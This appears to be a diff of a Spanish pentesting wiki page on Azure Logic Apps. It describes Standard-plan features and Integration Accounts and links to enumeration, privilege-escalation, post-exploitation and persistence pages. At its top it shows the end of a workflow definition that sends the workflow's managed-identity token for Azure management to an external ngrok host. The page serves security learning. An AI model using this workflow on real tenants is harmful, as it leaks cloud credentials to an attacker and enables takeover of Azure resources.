"uri": "https://22b6-81-33-70-107.ngrok-free.app",
"method": "GET",
"authentication": {
"type": "ManagedServiceIdentity",
"audience": "https://management.azure.com/"
}
},
"runtimeConfiguration": {
"contentTransfer": {
"transferMode": "Chunked"
}
}
}
},
"outputs": {},
"parameters": {
"$connections": {
"type": "Object",
"defaultValue": {}
}
}
},
"parameters": {
"$connections": {
"type": "Object",
"value": {}
}
}
}
```
</details>
## Logic Apps / Plan Estándar
### Diferencias con los Flujos de Trabajo "Únicos"
Las logic apps utilizan básicamente un App Service en segundo plano para **albergar la logic app que puede albergar varios flujos de trabajo**. Esto significa que la logic app tendrá todas las características de un App Service y de los Flujos de Trabajo "Únicos".
Algunas características clave serían:
- **Plan de App Service**: Las Logic Apps en el plan Estándar se alojan en un Plan de App Service, por lo que es posible utilizar todas las características del App Service, como:
- **Restricciones de Red**: Indicar desde dónde es accesible.
- **Centro de Despliegue**: Desplegar desde plataformas externas como Github, Bitbucket, Azure Repos, Git Externo y Git Local.
- **Acceso FTP**: Es posible acceder a los archivos de la Logic App a través de FTP.
- **Cuenta de Almacenamiento**: La aplicación de servicio utiliza una cuenta de almacenamiento para almacenar información.
- **Variables de Entorno y Configuraciones de la App**: Es posible configurar variables de entorno y configuraciones de la app (y encontrar información sensible como claves de acceso a la cuenta de almacenamiento).
- ...
- **Parámetros**: Los parámetros te permiten gestionar valores que varían entre desarrollo, prueba y producción. Esto te permite diseñar flujos de trabajo primero y luego ajustar fácilmente las configuraciones específicas del entorno más tarde.
- **Recursos Dedicados**: Las Logic Apps en el plan Estándar tienen recursos dedicados.
- **Múltiples Flujos de Trabajo**: Permite crear múltiples flujos de trabajo.
Para más información sobre App Services, consulta:
{{#ref}}
../az-services/az-app-services.md
{{#endref}}
### Enumeración
@@ -203,17 +279,17 @@ Get-AzLogicAppTriggerHistory -ResourceGroupName "<ResourceGroupName>" -Name "<Lo
{{#endtab }}
{{#endtabs }}
### Cuentas de Integración
## Cuentas de Integración
**Cuentas de Integración**, son una característica de Azure Logic Apps. Las Cuentas de Integración se utilizan para facilitar integraciones a nivel empresarial al habilitar capacidades avanzadas de B2B, como EDI, AS2 y gestión de esquemas XML. Las Cuentas de Integración son un contenedor en Azure que almacena los siguientes artefactos utilizados para Logic Apps:
* Esquemas: Gestionar esquemas XML para validar y procesar mensajes en su cuenta de integración.
* Mapas: Configurar transformaciones basadas en XSLT para convertir formatos de datos dentro de sus flujos de trabajo de integración.
* Ensamblajes: Gestionar ensamblajes de cuentas de integración para optimizar la lógica y el procesamiento de datos.
* Certificados: Manejar certificados para cifrar y firmar mensajes, asegurando una comunicación segura.
* Socios: Gestionar información de socios comerciales para transacciones B2B, permitiendo integraciones sin problemas.
* Acuerdos: Configurar reglas y ajustes para intercambiar datos con socios comerciales (por ejemplo, EDI, AS2).
* Configuraciones por Lotes: Gestionar configuraciones de procesamiento por lotes para agrupar y procesar mensajes de manera eficiente.
* RosettaNet PIP: Configurar Procesos de Interfaz de Socios de RosettaNet (PIPs) para estandarizar la comunicación B2B.
* **Esquemas**: Gestionar esquemas XML para validar y procesar mensajes en su cuenta de integración.
* **Mapas**: Configurar transformaciones basadas en XSLT para convertir formatos de datos dentro de sus flujos de trabajo de integración.
* **Ensamblajes**: Gestionar ensamblajes de la cuenta de integración para optimizar la lógica y el procesamiento de datos.
* **Certificados**: Manejar certificados para cifrar y firmar mensajes, asegurando una comunicación segura.
* **Socios**: Gestionar información de socios comerciales para transacciones B2B, permitiendo integraciones sin problemas.
* **Acuerdos**: Configurar reglas y ajustes para intercambiar datos con socios comerciales (por ejemplo, EDI, AS2).
* **Configuraciones de Lote**: Gestionar configuraciones de procesamiento por lotes para agrupar y procesar mensajes de manera eficiente.
* **RosettaNet PIP**: Configurar Procesos de Interfaz de Socios de RosettaNet (PIPs) para estandarizar la comunicación B2B.
#### Enumeración
@@ -329,4 +405,10 @@ Lo mismo que la escalación de privilegios de las aplicaciones lógicas:
../az-post-exploitation/az-logic-apps-post-exploitation.md
{{#endref}}
## Persistencia
{{#ref}}
../az-persistence/az-logic-apps-persistence.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}